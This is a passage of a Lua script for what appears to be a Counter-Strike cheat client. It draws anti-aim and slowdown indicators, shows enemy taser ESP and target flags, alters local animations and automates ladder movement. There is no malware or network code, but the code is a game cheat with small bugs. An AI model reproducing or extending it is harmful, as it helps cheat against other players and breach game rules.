renderer_gradient(dbs.defensive_x - ui_get(menu["extras"].length) / 2 +
1,dbs.defensive_y - 2,ui_get(menu["extras"].length) - 2,
ui_get(menu["extras"].width), defensivecolor[1], defensivecolor[2],
defensivecolor[3],defensivecolor[4],12, 12, 12,130,true)
else
renderer_rectangle(dbs.defensive_x - ui_get(menu["extras"].length) / 2
+ 1,dbs.defensive_y - 2, ui_get(menu["extras"].length) - 2,
ui_get(menu["extras"].width), defensivecolor[1], defensivecolor[2],
defensivecolor[3],255)
end

else
dbs.defensive_menu = false
end

if dbs.defensive_x ~= w/2 and not dbs.is_dragging then


dbs.defensive_x = lerp(dbs.defensive_x,w/2,globals.frametime() * 10)
end
end

local defensive_alpha = 255


local svg_expansion = 0
functions["visuals"].defensive_indicator = function(w,h)

functions["anti-aim"].sim_time=functions["anti-aim"].sim_diff()
if not ui_get(menu["visuals"].defensive_indicator) or not
ui_get(menu_reference.dt[2]) or ui_get(menu_reference.fakeduck) or not
entity.is_alive(entity_get_local_player()) or ui.is_menu_open() then
return
end

local defensivecolor = { ui_get(menu["visuals"].defensive_indicator_color) }

if functions["anti-aim"].sim_time < 0 then


functions["visuals"].is_defensive = true
functions["visuals"].defensive_tick = globals_tickcount()
if functions["visuals"].forced_defensive and svg_expansion >= 0 then
--svg_expansion = 0

elseif not functions["visuals"].forced_defensive then

svg_expansion = 0
end
defensive_alpha = 255
end

if functions["visuals"].is_defensive == true and globals_tickcount() <


functions["visuals"].defensive_tick + 28 then
local difference = globals_tickcount() -
functions["visuals"].defensive_tick

local percentage = math.min(100,difference * 100 / 26)


local weight = percentage * ui_get(menu["extras"].length) / 100

if percentage > 75 then


defensive_alpha = lerp(defensive_alpha,0,globals.frametime() * 15)
end

svg_expansion = lerp(svg_expansion,50,globals.frametime() * 10)

--renderer_text(w/2,h/2-110,255,255,255,defensive_alpha < 255 and


defensive_alpha or 255,"c",nil,"DEFENSIVE")
if ui_get(menu["extras"].icon) then
local add = ui_get(menu["extras"].text) and 16 or 0
renderer_texture(load_shield,dbs.defensive_x - svg_expansion/2-
2,dbs.defensive_y-54/2 - 25 - add, svg_expansion + 4 , 54, 12,12,12,defensive_alpha
< 230 and defensive_alpha or 230,"f")
renderer_texture(load_shield,dbs.defensive_x -
svg_expansion/2,dbs.defensive_y-50/2 - 25 - add, svg_expansion , 50,
255,255,255,defensive_alpha < 230 and defensive_alpha or 230,"f")
end

if ui_get(menu["extras"].text) then
renderer_text(dbs.defensive_x,dbs.defensive_y -
12,255,255,255,defensive_alpha < 255 and defensive_alpha or 255,"c",0,"- DEFENSIVE
-")
end

renderer_rectangle(dbs.defensive_x - ui_get(menu["extras"].length) / 2 -
1,dbs.defensive_y - 4,ui_get(menu["extras"].length) + 2,
ui_get(menu["extras"].width) + 4,0,0,0,defensive_alpha < 150 and defensive_alpha or
150)

if ui_get(menu["extras"].gradient) then
renderer_gradient(dbs.defensive_x - ui_get(menu["extras"].length) /
2,dbs.defensive_y - 2 , weight, ui_get(menu["extras"].width), defensivecolor[1],
defensivecolor[2], defensivecolor[3],defensive_alpha < defensivecolor[4] and
defensive_alpha or defensivecolor[4],12, 12, 12,defensive_alpha < 130 and
defensive_alpha or 130,true)
else
renderer_rectangle(dbs.defensive_x - ui_get(menu["extras"].length) / 2
+ 1,dbs.defensive_y - 2, weight, ui_get(menu["extras"].width), defensivecolor[1],
defensivecolor[2], defensivecolor[3],defensive_alpha < defensivecolor[4] and
defensive_alpha or defensivecolor[4])
end
else
functions["visuals"].is_defensive = false
end
end

local clicked = false


local can_press_under = false
local checkboxes = function(checkbox_name,checkbox_state,x,y)

local color = {63,63,63,255}

if intersect(x,y - 35 + dbs.size,55,10) then

if client.key_state(0x1) then

if clicked == false then


ui.set(checkbox_state,not ui.get(checkbox_state))
end
clicked = true

else
clicked = false
end
end

if ui.get(checkbox_state) then
color = {255,255,255,255}
else
color = {24,24,24,255}
end

renderer.rectangle(x - 1,y - 35 + dbs.size,8,8,24,24,24,255)


renderer.rectangle(x, y - 34 + dbs.size,6,6,
color[1],color[2],color[3],color[4])
renderer.text(x + 10, y - 37 +
dbs.size,255,255,255,255,"-",0,string.upper(checkbox_name))

dbs.size = dbs.size + 10

end

local slider_data =
{
ref = 0,
last_item = false,
hovered_another = false,
}

local is_math = false


local start_timer = 0
local slider =
function(slider_name,slider_value,min_value,max_value,slider_addition,x,y)

local slider_text_bool = 0
if slider_name ~= "" then
slider_text_bool = 12
else
slider_text_bool = 0
end

if slider_name ~= "" then


renderer.text(x - 1,y- 35 +
dbs.size,220,220,220,255,"-",0,string.upper(slider_name))
end
local mpos = vector(ui.mouse_position())

-- if intersect(dbs.defensive_x + 79,dbs.defensive_y - 35 + dbs.size +


slider_text_bool,177,15) then
-- dbs.should_drag = false
--end

if intersect(x - 1,y - 36 + dbs.size + slider_text_bool,60,4) then


slider_data.hovered_another = true
dbs.should_drag = false
if client.key_state(0x1) then

ui.set(slider_value,
math.max(min_value,math.min(max_value,math.floor(min_value + (max_value -
min_value) * ((mpos.x - (x - 1)) / 60)))))
slider_data.ref = slider_value

slider_data.last_item = true
end
end

if slider_data.last_item then
if client.key_state(0x25) then
if is_math == false or start_timer > 200 then

ui.set(slider_data.ref,math.max(min_value,math.min(max_value,ui.get(slider_data.ref
) - 1)))
if start_timer > 200 then
start_timer = 0
end
end
start_timer = start_timer + 1
is_math = true
elseif client.key_state(0x27) then
if is_math == false or start_timer > 200 then

ui.set(slider_data.ref,math.max(min_value,math.min(max_value,ui.get(slider_data.ref
) + 1)))
if start_timer > 200 then
start_timer = 0
end
end
start_timer = start_timer + 1
is_math = true
else
is_math = false
start_timer = 0
end
end

--[[ if intersect(dbs.defensive_x + 80,dbs.defensive_y + 10 + dbs.size +


slider_text_bool,5,5) then
if client.key_state(0x1) then
if is_math == false then

ui.set(slider_value,math.max(min_value,math.min(max_value,ui.get(slider_value) -
1)))
end
is_math = true
start_timer = 0
end
elseif intersect(dbs.defensive_x + 80,dbs.defensive_y + 10 + dbs.size +
slider_text_bool,5,5) then
if client.key_state(0x1) then
if is_math == false then

ui.set(slider_value,math.max(min_value,math.min(max_value,ui.get(slider_value) +
1)))
end
start_timer = 0
is_math = true
end
end]]--
local base = (ui.get(slider_value) - min_value) / (max_value - min_value) * 60

-- renderer.rectangle(dbs.defensive_x + 80,dbs.defensive_y - 35 + dbs.size +


slider_text_bool,159,7,12,12,12,255)
renderer.rectangle(x,y - 35 + dbs.size + slider_text_bool,60,2,24,24,24,255)
renderer.rectangle(x,y - 35 + dbs.size +
slider_text_bool,base,2,220,220,220,255)
renderer.circle(x + base, y - 34 + dbs.size + slider_text_bool ,
220,220,220,255, 3, 0, 1)
--renderer.text(dbs.defensive_x + 80,dbs.defensive_y - 35 + dbs.size +
slider_text_bool,220,220,220,255,"b",0,
string.upper(tostring(ui.get(slider_value))) .. slider_addition)

dbs.size = dbs.size + (slider_name ~= "" and 17 or 12)


end

functions["visuals"].side_defensive_menu = function(w,h)

if ui.is_menu_open() and dbs.defensive_menu and


ui_get(menu["visuals"].defensive_indicator) then

if intersect(dbs.defensive_x + 85,dbs.defensive_y - 50,82,85) then


should_shoot = false
end

round_rectangle(dbs.defensive_x + 90,dbs.defensive_y - 50 , 70, 85 ,


24,24,24,100,5)
renderer.gradient(dbs.defensive_x + 90,dbs.defensive_y - 40, 35, 1,
24,24,24,0,255,255,255,255, true)
renderer.gradient(dbs.defensive_x + 90 + 35,dbs.defensive_y - 40, 35, 1,
255,255,255,255, 24,24,24,0 ,true)
renderer.text(dbs.defensive_x + 90 + 33,dbs.defensive_y - 47,
255,255,255,255, "-c", 0, "SETTINGS")

checkboxes("Text",menu["extras"].text,dbs.defensive_x + 90,dbs.defensive_y
+ 3)
checkboxes("Icon",menu["extras"].icon,dbs.defensive_x + 90,dbs.defensive_y
+ 3)
checkboxes("Gradient",menu["extras"].gradient,dbs.defensive_x +
90,dbs.defensive_y + 3)
slider("length",menu["extras"].length,20,150,"º",dbs.defensive_x +
90,dbs.defensive_y + 3)
slider("width",menu["extras"].width,1,15,"º",dbs.defensive_x +
90 ,dbs.defensive_y + 3)
end
end

local collidable = function()


local current_x = 0
local current_y = 0
local old_x = 0
local old_y = 0

if dbs.last_item == "Defensive" then


current_x = dbs.defensive_x
current_y = dbs.defensive_y
old_x = dbs.slow_x
old_y = dbs.slow_y
else
current_x = dbs.slow_x
current_y = dbs.slow_y
old_x = dbs.defensive_x
old_y = dbs.defensive_y
end

if current_y >= old_y - 60 and current_y <= old_y + 30 then


if dbs.last_item == "Defensive" then
dbs.defensive_y = dbs.defensive_y + 3
else
dbs.slow_y = dbs.slow_y + 60
end
end

if dbs.last_item == "Defensive" then


dbs.not_last_item = "Slow"
else
dbs.not_last_item = "Defensive"
end
end

functions["visuals"].fps_boost = function(int)
cvar.r_drawparticles:set_int(int)
cvar.func_break_max_pieces:set_int(int)
cvar.muzzleflash_light:set_int(int)
cvar.r_drawtracers_firstperson:set_int(int)
cvar.r_dynamic:set_int(int)
cvar.mat_disable_bloom:set_int(int == 0 and 1 or 0)
cvar.r_eyegloss:set_int(int)
cvar.r_shadows:set_int(int)
end

functions["visuals"].desync_indicator = function(w,h)

if not ui_get(menu["visuals"].desync_indicator) then


return
end

local desynccolor = { ui_get(menu["visuals"].desync_indicator_color) }


local desync = math.abs(math.floor(math.min(60,
(entity_get_prop(entity_get_local_player(), "m_flPoseParameter", 11) * 120 - 60))))

if desync <= 0 then


return
end

round_rectangle(w/2 - 31, h/2+12,64, 3, 24, 24, 24, 135, 1)


round_rectangle(w/2 - 29, h/2+13,desync, 1, 150,230,49,255, 1)

--renderer_gradient(w/2, h/2+15,desync/2,2, desynccolor[1], desynccolor[2],


desynccolor[3],desynccolor[4],desynccolor[1], desynccolor[2], desynccolor[3],0,
true)
--renderer_gradient(w/2, h/2+15,-desync/2,2, desynccolor[1], desynccolor[2],
desynccolor[3],desynccolor[4],desynccolor[1], desynccolor[2], desynccolor[3],0,
true)
end

local slow_turtle = renderer.load_svg('<svg width="800" height="800" viewBox="0 0


128 128" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="iconify
iconify--noto"><path d="M112.7 59.21s3.94-2.21 4.93-2.77c.99-.56 4.6-2.82
5.91-.84.77 1.16-.7 4.44-3.05 7.86-2.14 3.13-7.12 9.56-7.4 10.83-.28 1.27 1.11 6.36
1.53 8.33.42 1.97 1.74 6.71 1.17 8.54s-3.43 6.85-10.75 6.76c-5.82-.07-7.51-1.78-
7.7-2.82-.14-.75-.56-3.24-.56-3.24s-4.79 2.96-7.04 4.08-8.31 4.22-8.31 4.22 1.17
5.35 1.36 7.51c.19 2.16.86 5.25-.28 7.32-1.03 1.88-4.25 5.02-11.83 4.97-5.92-.04-
7.41-1.88-8.35-3-.94-1.13-1.13-6.48-1.13-7.6s-.19-5.07-.19-5.07-8.02-.4-12.86-.75c-
4.38-.32-10.16-.99-10.16-.99s.21 2.33.42 4.01c.19 1.5.23 4.64-1.34 6.17-2.11 2.06-
7.56 2.21-10.56 1.92-3-.28-7.18-1.83-8.4-4.55-1.22-2.72.38-6.29 1.03-8.35.58-1.81
1.6-4.41 1.22-5.16-.38-.75-4.04-1.69-9.29-6.95-5.26-5.26-12.13-23.52 3.28-36.23
15.49-12.76 43.81 1.1 45.31 2.04 1.54.96 53.04 3.76 53.04 3.76z"
fill="#bdcf47"/><path d="M66.25 25.28c-13.93.62-24.38 7.52-29.57 15.06-3.1 4.5-4.65
7.74-4.65 7.74s4.81.14 9.15 2.46c5 2.67 10.8 5.56 14.61 18.13 2.87 9.5 3.98 18.53
11.44 20.52 8.45 2.25 28.16 1.13 37.59-8.02s11.26-16.05 8.87-25.06-13.17-25.05-
28.16-29.28C79.06 25 72.58 25 66.25 25.28z" fill="#6e823a"/><path d="M111.93
51.32c-.42-.99-1.3-2.5-1.3-2.5s-.07 2.05-.25 3.13c-.28 1.76-1.25 5.42-1.81 4.88-
1-.97-5.73-6.92-7.98-10.23-1.71-2.52-7.6-9.11-7.74-11.26-.07-1.06 1.27-4.65 1.27-
4.65s-1.22-.7-2.35-1.34c-.88-.49-2.16-1.03-2.16-1.03s-.77 4.9-1.62 5.82c-.75.81-
5.32 2.6-8.87 3.94-4.29 1.62-8.45 3.73-10 4.01-1.36.25-9.09-1.41-12-1.97-3.66-.7-
9.18-2.26-10.45-3.17-1.48-1.06-3.07-3.78-3.07-3.78s-.89.61-1.78 1.31c-.88.69-2.02
2.06-2.02 2.06s2.31 2.32 2.44 3.18c.18 1.2-1.27 2.83-2.46 4.38-.72.93-2.75 4.85-
2.75 4.85s.97.09 2.15.63c1.23.57 2.38 1.16 2.38 1.16s2.97-6.9 4.9-7.53c1.65-.54
6.3.99 9.68 1.69 4.79.99 9.64 1.87 10.66 3.17 1.06 1.34 2.06 6.68 3.03 11.19C70.89
64.2 73.64 77.02 73 78c-.63.99-5.7.63-8.59.28-2.45-.3-6.41-1.76-6.41-1.76s.58
2.11.77 2.67c.28.81 1.16 3.06 1.16 3.06s5.67 2.5 22.42.95 25.03-12.96 27.38-
18.02c3.14-6.78 3.54-10.39 3.54-10.39s-.92-2.48-1.34-3.47zM96.65 73.21c-4.24 2.67-
15.2 5.49-17.18 4.43-1.58-.85-3.94-13.94-5.07-19.78-.72-3.74-2.45-9.42-1.41-
11.19.7-1.2 4.79-2.99 7.81-4.4 2.87-1.33 6.97-3.13 8.17-2.99 1.7.2 5.35 6.12 9.01
11.19 3.66 5.07 7.67 10.35 7.74 12.18.09 1.84-4.7 7.82-9.07 10.56z"
fill="#484e23"/><path d="M41.18 65.86c.5 2.83-.95 5.75-4.07 6.02-2.56.22-4.59-1.57-
5.09-4.4s1.14-5.49 3.68-5.94c2.52-.45 4.98 1.48 5.48 4.32zm-18.36.25c.07 2.84-2.42
5.69-5.5 5.11-2.53-.48-3.99-2.73-3.71-5.55.29-2.82 2.59-4.9 5.15-4.65s3.99 2.13
4.06 5.09zm7.95 10.48c1.16-.79 3.1-2.67 4.36-1.06 1.27 1.62-.92 3.1-2.18 4.01-
1.27.92-4.08 3.17-6.12 3.17-1.9 0-4.79-2.32-6.62-3.87-1.49-1.26-2.18-2.89-1.34-
3.87s2.14-.62 3.24.35c1.27 1.13 3.72 3.38 4.72 3.38.98.01 2.39-1.05 3.94-2.11z"
fill="#2a2b28"/></svg>', 100, 100)

local slow_turtle_pos = 0
functions["visuals"].slow_down_indicator = function(w,h)

if not ui_get(menu["visuals"].slow_down_indicator) or not


entity.is_alive(entity_get_local_player()) and ui.is_menu_open() or not
entity.is_alive(entity_get_local_player()) then
return
end

local slowdowncolor = { ui_get(menu["visuals"].slow_down_indicator_color) }


local slow_status = math.floor(entity_get_prop(entity_get_local_player(),
"m_flVelocityModifier") * 100)

if slow_status < 100 and slow_status > 0 then

local percentage = slow_status * ui_get(menu["extras"].length1) / 100


if ui_get(menu["extras"].icon1) then
local add = ui_get(menu["extras"].text1) and 16 or 0
slow_turtle_pos = lerp(slow_turtle_pos, w / 2 -
12.5,globals.frametime() * 10)
renderer_texture(slow_turtle,slow_turtle_pos,dbs.slow_y-30 - add, 25 ,
25, 255,255,255,255,"f")
end

if ui_get(menu["extras"].text1) then
renderer_text(dbs.slow_x,dbs.slow_y - 12,255,255,255,255,"c",0,100 -
slow_status .. "%")
end

renderer_rectangle(dbs.slow_x - ui_get(menu["extras"].length1) / 2 -
1,dbs.slow_y - 4,ui_get(menu["extras"].length1) + 2, ui_get(menu["extras"].width1)
+ 4,0,0,0,130)
--renderer_gradient(dbs.defensive_x - ui_get(menu["extras"].length) / 2 +
1,dbs.defensive_y - 2, ui_get(menu["extras"].length),8,
255,255,255,255,12,12,12,255,true)

local defensivecolor = ui_get(menu["extras"].dynamic) and {255 -


(slow_status*2),2.55 * slow_status,0,slowdowncolor[4]} or
{ ui_get(menu["visuals"].slow_down_indicator_color) }

if ui_get(menu["extras"].gradient1) then
renderer_gradient(dbs.slow_x - ui_get(menu["extras"].length1) / 2 +
1,dbs.slow_y - 2,percentage, ui_get(menu["extras"].width1), defensivecolor[1],
defensivecolor[2], defensivecolor[3],defensivecolor[4],12, 12, 12,130,true)
else
renderer_rectangle(dbs.slow_x - ui_get(menu["extras"].length1) / 2 +
1,dbs.slow_y - 2, percentage, ui_get(menu["extras"].width1), defensivecolor[1],
defensivecolor[2], defensivecolor[3],255)
end

return
end

slow_turtle_pos = w / 2 - 110
end

functions["visuals"].slow_open = function(w,h)

if ui.is_menu_open() and ui_get(menu["visuals"].slow_down_indicator) then

local cx,cy = ui.mouse_position()

if dbs.is_dragging and not client.key_state(0x01) then


dbs.is_dragging = false
end

if dbs.is_dragging and client.key_state(0x01) and dbs.last_item == "Slow"


then
dbs.slow_x = cx - dbs.drag_slow_x
dbs.slow_y = cy - dbs.drag_slow_y
end

if intersect(dbs.slow_x - ui_get(menu["extras"].length) / 2,dbs.slow_y -


10,ui_get(menu["extras"].length),20) and client.key_state(0x01) then
dbs.last_item = "Slow"
dbs.is_dragging = true
dbs.drag_slow_x = cx - dbs.slow_x
dbs.drag_slow_y = cy - dbs.slow_y
dbs.slow_menu = false
should_shoot = false
end

if intersect(dbs.slow_x - ui_get(menu["extras"].length) / 2,dbs.slow_y -


10,ui_get(menu["extras"].length),20) and client.key_state(0x02) then
dbs.slow_menu = true
dbs.defensive_menu = false
should_shoot = false
end

if ui_get(menu["extras"].icon1) then

local add = ui_get(menu["extras"].text1) and 16 or 0


renderer_texture(slow_turtle,dbs.slow_x - 25/2,dbs.slow_y-30 - add,
25 , 25, 255,255,255,255,"f")
end

if ui_get(menu["extras"].text1) then
renderer_text(dbs.slow_x,dbs.slow_y - 12,255,255,255,255,"c",0,"100%")
end

renderer_rectangle(dbs.slow_x - ui_get(menu["extras"].length1) / 2 -
1,dbs.slow_y - 4,ui_get(menu["extras"].length1) + 2, ui_get(menu["extras"].width1)
+ 4,0,0,0,150)
--renderer_gradient(dbs.defensive_x - ui_get(menu["extras"].length) / 2 +
1,dbs.defensive_y - 2, ui_get(menu["extras"].length),8,
255,255,255,255,12,12,12,255,true)

local defensivecolor =
{ ui_get(menu["visuals"].slow_down_indicator_color) }
if ui_get(menu["extras"].gradient1) then
renderer_gradient(dbs.slow_x - ui_get(menu["extras"].length1) / 2 +
1,dbs.slow_y - 2,ui_get(menu["extras"].length1) - 2, ui_get(menu["extras"].width1),
defensivecolor[1], defensivecolor[2], defensivecolor[3],defensivecolor[4],12, 12,
12,130,true)
else
renderer_rectangle(dbs.slow_x - ui_get(menu["extras"].length1) / 2 +
1,dbs.slow_y - 2, ui_get(menu["extras"].length1) - 2,
ui_get(menu["extras"].width1), defensivecolor[1], defensivecolor[2],
defensivecolor[3],255)
end

else
dbs.slow_menu = false
end

if dbs.slow_x ~= w/2 and not dbs.is_dragging then


dbs.slow_x = lerp(dbs.slow_x,w/2,globals.frametime() * 10)
end
end

functions["visuals"].side_slow_menu = function(w,h)

if ui.is_menu_open() and dbs.slow_menu and


ui_get(menu["visuals"].slow_down_indicator) then

if intersect(dbs.slow_x + 85,dbs.slow_y - 50,82,100) then


should_shoot = false
end

round_rectangle(dbs.slow_x + 90,dbs.slow_y - 50 , 70, 90 , 24,24,24,100,5)


renderer.gradient(dbs.slow_x + 90,dbs.slow_y - 40, 35, 1,
24,24,24,0,255,255,255,255, true)
renderer.gradient(dbs.slow_x + 90 + 35,dbs.slow_y - 40, 35, 1,
255,255,255,255, 24,24,24,0 ,true)
renderer.text(dbs.slow_x + 90 + 33,dbs.slow_y - 47, 255,255,255,255, "-c",
0, "SETTINGS")

checkboxes("Text",menu["extras"].text1,dbs.slow_x + 90,dbs.slow_y + 3)
checkboxes("Turtle",menu["extras"].icon1,dbs.slow_x + 90,dbs.slow_y + 3)
checkboxes("Gradient",menu["extras"].gradient1,dbs.slow_x + 90,dbs.slow_y +
3)
checkboxes("Dynamic",menu["extras"].dynamic,dbs.slow_x + 90,dbs.slow_y + 3)
slider("length",menu["extras"].length1,20,150,"º",dbs.slow_x +
90,dbs.slow_y + 3)
slider("width",menu["extras"].width1,1,15,"º",dbs.slow_x + 90 ,dbs.slow_y +
3)
end
end

functions["visuals"].minimum_damage_indicator = function(w,h)

if not ui_get(menu["visuals"].minimum_damage_indicator) or not


entity.is_alive(entity_get_local_player()) then
return
end

local minimus_damage = ui_get(menu_reference.min_dmg_override[1]) and


ui_get(menu_reference.min_dmg_override[2])
renderer_text(w/2+12,h/2-12,255,255,255,255,"c",0,minimus_damage and
ui_get(menu_reference.min_dmg_override[3]) or
ui_get(menu_reference.minimum_damage))
end

local zeus_table = {}
local zeus_texture = renderer.load_svg('<svg width="800" height="800" viewBox="0 0
24 24" xmlns="http://www.w3.org/2000/svg"><path d="M7 0 2 12h8L6 22 20 8h-9l6-8z"
fill="#fff"/><path fill="gray" d="M7 0 2 12h3l5-12zm3 12L6 22l3-3 4-7z"/><path
fill="gray" d="m10 12-.406 1H12.5l.5-1h-3z"/></svg>', 30, 30)
functions["visuals"].zeus_indicator = function()

-- clear the zeus_table :)


zeus_table = {}

-- get player origin

if entity_get_local_player() == nil then return end

local entity_origin = vector(entity_get_origin(entity_get_local_player()))

local pl = entity.get_players(true)
for i = 1, #pl do

local ent = pl[i]

if ent == entity_get_local_player() then


break
end

local bounding_box = {entity.get_bounding_box(ent) }


local has_zeus = false

for index = 0, 64 do
local a = entity_get_prop(ent, "m_hMyWeapons", index)
if a ~= nil then
local wep = entity_get_classname(a)
if wep ~= nil and wep == "CWeaponTaser" then
has_zeus = true
table.insert(zeus_table,ent)
end
end
end

local ent_gin = vector(entity_get_origin(ent))

if has_zeus and entity_get_classname(entity.get_player_weapon(ent)) ~=


"CWeaponTaser" then

if bounding_box[1] ~= nil and bounding_box[2] ~= nil then


if table_contains(ui_get(menu["visuals"].zeus_esp),"Indicator") and
table_contains(ui_get(menu["visuals"].player_esp),"Zeus esp") then
if entity_origin:dist(ent_gin) < 500 then
renderer_texture(zeus_texture,bounding_box[1] -
20,bounding_box[2], 15, 15, 255,167,0,255,"f")
end
end
end
elseif has_zeus and entity_get_classname(entity.get_player_weapon(ent)) ==
"CWeaponTaser" then

if bounding_box[1] ~= nil and bounding_box[2] ~= nil then


if table_contains(ui_get(menu["visuals"].zeus_esp),"Indicator") and
table_contains(ui_get(menu["visuals"].player_esp),"Zeus esp") then
if entity_origin:dist(ent_gin) < 500 then
renderer_texture(zeus_texture,bounding_box[1] -
20,bounding_box[2] - 40, 15, 15, 255,0,050,255,"f")
end
end
end
elseif not has_zeus then
if zeus_table[i] == ent then
table.remove(zeus_table,ent)
end
end
end
end
-- [pasted]
local function rotate_around_center(ang, center, point, point2)
local s, c = math.sin(ang), math.cos(ang)
point.x,point.y,point2.x,point2.y=point.x-center.x,point.y-center.y,point2.x-
center.x,point2.y-center.y

local x, y = point.x*c - point.y*s, point.x*s + point.y*c


local x2, y2 = point2.x*c - point2.y*s, point2.x*s + point2.y*c

return x+center.x, y+center.y, x2+center.x, y2+center.y


end

functions["visuals"].zeus_out_of_view = function()

if table_contains(ui_get(menu["visuals"].zeus_esp),"Out of view") and


table_contains(ui_get(menu["visuals"].player_esp),"Zeus esp") then
local lp_pos = vector(entity_get_origin(entity_get_local_player()))
local view = vector(client.camera_angles()); if view == nil then return end
local w,h = client.screen_size()
local size, radius = 15, 20*8; radius = radius+size

for k,v in ipairs(zeus_table) do

local origen = vector(entity_get_origin(v))


local dst = math.min(800,lp_pos:dist(origen))/800

if not entity.is_alive(v) then


table.remove(zeus_table,k)
break
end

local w2s = {renderer.world_to_screen(origen:unpack())}

if w2s[1] and w2s[2] and w2s[1] > 0 and w2s[2] > 0 and w2s[1] < w and
w2s[2] < h then break end

local _, angle = lp_pos:to(origen):angles() if not angle then break end


angle=270-angle+view.y
local ang_rad = math.rad(angle)
local point = vector(w/2 + math.cos(ang_rad)*radius, h/2 +
math.sin(ang_rad)*radius, 0)

local point2, point3 = vector(point.x - size/2, point.y - size, 0),


vector(point.x + size/2, point.y-size, 0)
local points = { rotate_around_center(math.rad(angle-90), point,
point2, point3) }

local zeus_color = {r=255,g=50,b=50}


if entity_get_classname(entity.get_player_weapon(v)) == "CWeaponTaser"
then
zeus_color = {r=255,g=50,b=50}
else
zeus_color = {r=255,g=167,b=0}
end

renderer_texture(zeus_texture,point.x, point.y, 30, 30,


zeus_color.r,zeus_color.g,zeus_color.b,255,"f")
end
end
end

-- at target flag | at target esp


client.register_esp_flag("target",255,255,255, function(ent)
if ent == client.current_threat() and
table_contains(ui_get(menu["visuals"].player_esp),"At target flag") then
return true,string.format("\a%02x%02x%02x
%02xTARGET",ui_get(menu["visuals"].target_color))
end
end)

client.register_esp_flag("zeus",255,255,255, function(ent)
if table_contains(ui_get(menu["visuals"].zeus_esp),"Flag") and
table_contains(ui_get(menu["visuals"].player_esp),"Zeus esp") then
for i=1,#zeus_table do

if zeus_table[i] == entity_get_local_player() then


break
end

if ent == zeus_table[i] then


return true,string.format("\a%02x%02x%02x
%02xZEUS",ui_get(menu["visuals"].zeus_indicator_color))
end
end
end
end)

local eye_svg = renderer.load_svg('<svg fill="#fff" height="800" width="800"


xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" xml:space="preserve"><path
d="M0 226v32c128 192 384 192 512 0v-32C384 34 128 34 0 226zm256 144c-70.7 0-128-
57.3-128-128s57.3-128 128-128 128 57.3 128 128-57.3 128-128 128zm0-200c0-8.3 1.7-
16.1 4.3-23.6-1.5-.1-2.8-.4-4.3-.4-53 0-96 43-96 96s43 96 96 96 96-43 96-96c0-
1.5-.4-2.8-.4-4.3-7.4 2.6-15.3 4.3-23.6 4.3-39.8 0-72-32.2-72-72z" fill="white"
/></svg>', 50,50)

functions["misc"].local_animations = function()
if not entity.is_alive(entity_get_local_player()) then
functions["misc"].end_time = 0
functions["misc"].ground_ticks = 0
return
end

if table_contains(ui_get(menu["misc"].local_animations),"Pitch 0 on land") then

local on_ground = bit.band(entity_get_prop(entity_get_local_player(),


"m_fFlags"), 1)

if on_ground == 1 then
functions["misc"].ground_ticks = functions["misc"].ground_ticks + 1
else
functions["misc"].ground_ticks = 0
functions["misc"].end_time = globals.curtime() + 1
end

if functions["misc"].ground_ticks > 5 and functions["misc"].end_time + 0.5


> globals.curtime() then
entity.set_prop(entity_get_local_player(), "m_flPoseParameter", 0.5,
12)
end
end

if table_contains(ui_get(menu["misc"].local_animations),"Jitter legs") then


local math_randomized = math.random(1,2)

ui_set(menu_reference.leg_movement, math_randomized == 1 and "Always slide"


or "Never slide")
entity.set_prop(entity_get_local_player(), "m_flPoseParameter", 8, 0)
end

if table_contains(ui_get(menu["misc"].local_animations),"Static legs in air")


then
entity.set_prop(entity_get_local_player(), "m_flPoseParameter", 1, 6)
end

if table_contains(ui_get(menu["misc"].local_animations),"Crossing legs") then

local me = ent_lib.get_local_player()
local m_fFlags = me:get_prop("m_fFlags")
local is_onground = bit.band(m_fFlags, 1) ~= 0
if not is_onground then
local my_animlayer = me:get_anim_overlay(6)

my_animlayer.weight = 1
else
ui_set(menu_reference.leg_movement,"Off")
entity.set_prop(entity_get_local_player(), "m_flPoseParameter", 0, 7)
end
end

if table_contains(ui_get(menu["misc"].local_animations),"Flashed") then

local local_player_ent = ent_lib.get_local_player()


local not_anim_layer = local_player_ent:get_anim_overlay(9)
not_anim_layer.weight = 1
not_anim_layer.sequence = 224
end

if table_contains(ui_get(menu["misc"].local_animations),"Victim") then

local local_player_ent = ent_lib.get_local_player()


local not_anim_layer = local_player_ent:get_anim_overlay(0)
not_anim_layer.sequence = 11
end
end

functions["misc"].fast_ladder = function(cmd)

if not ui_get(menu["misc"].fast_ladder_box) then


return
end

local local_player = entity.get_local_player()


local pitch,yaw = client.camera_angles()

local m_MoveType = entity.get_prop(local_player, "m_MoveType")

if m_MoveType == 9 then --fixed

cmd.yaw = math.floor(cmd.yaw+0.5)
cmd.roll = 0
if true then
if cmd.forwardmove == 0 then
cmd.pitch = 89
cmd.yaw = cmd.yaw + ui_get(menu["misc"].ladder_yaw_slider)
if math.abs(ui_get(menu["misc"].ladder_yaw_slider)) > 0 and
math.abs(ui_get(menu["misc"].ladder_yaw_slider)) < 180 and cmd.sidemove ~= 0 then
cmd.yaw = cmd.yaw - ui_get(menu["misc"].ladder_yaw_slider)
end
if math.abs(ui_get(menu["misc"].ladder_yaw_slider)) == 180 then
if cmd.sidemove < 0 then
cmd.in_moveleft = 0
cmd.in_moveright = 1
end
if cmd.sidemove > 0 then
cmd.in_moveleft = 1
cmd.in_moveright = 0
end
end
end
end

if true then
if cmd.forwardmove > 0 then
if pitch < 45 then
cmd.pitch = 89
cmd.in_moveright = 1
cmd.in_moveleft = 0
cmd.in_forward = 0
cmd.in_back = 1
if cmd.sidemove == 0 then
cmd.yaw = cmd.yaw + 90
end
if cmd.sidemove < 0 then
cmd.yaw = cmd.yaw + 150
end
if cmd.sidemove > 0 then
cmd.yaw = cmd.yaw + 30
end
end
end
end
if true then
if cmd.forwardmove < 0 then
cmd.pitch = 89
cmd.in_moveleft = 1
cmd.in_moveright = 0
cmd.in_forward = 1
cmd.in_back = 0
if cmd.sidemove == 0 then
cmd.yaw = cmd.yaw + 90
end
if cmd.sidemove > 0 then
cmd.yaw = cmd.yaw + 150
end
if cmd.sidemove < 0 then
cmd.yaw = cmd.yaw + 30
end
end
end

end
end

local aim_logs={}

local miss_hc = 0
local backtrack = 0
local predicted_dmg = 0
client_set_event_callback("aim_fire", function(ctx)
backtrack = globals_tickcount() - ctx.tick
miss_hc = ctx.hit_chance
predicted_damage = ctx.damage
end)

local miss_sp = {}
local current_logs = {}
local hitgroup_names = {'generic', 'head', 'chest', 'stomach', 'left arm', 'right
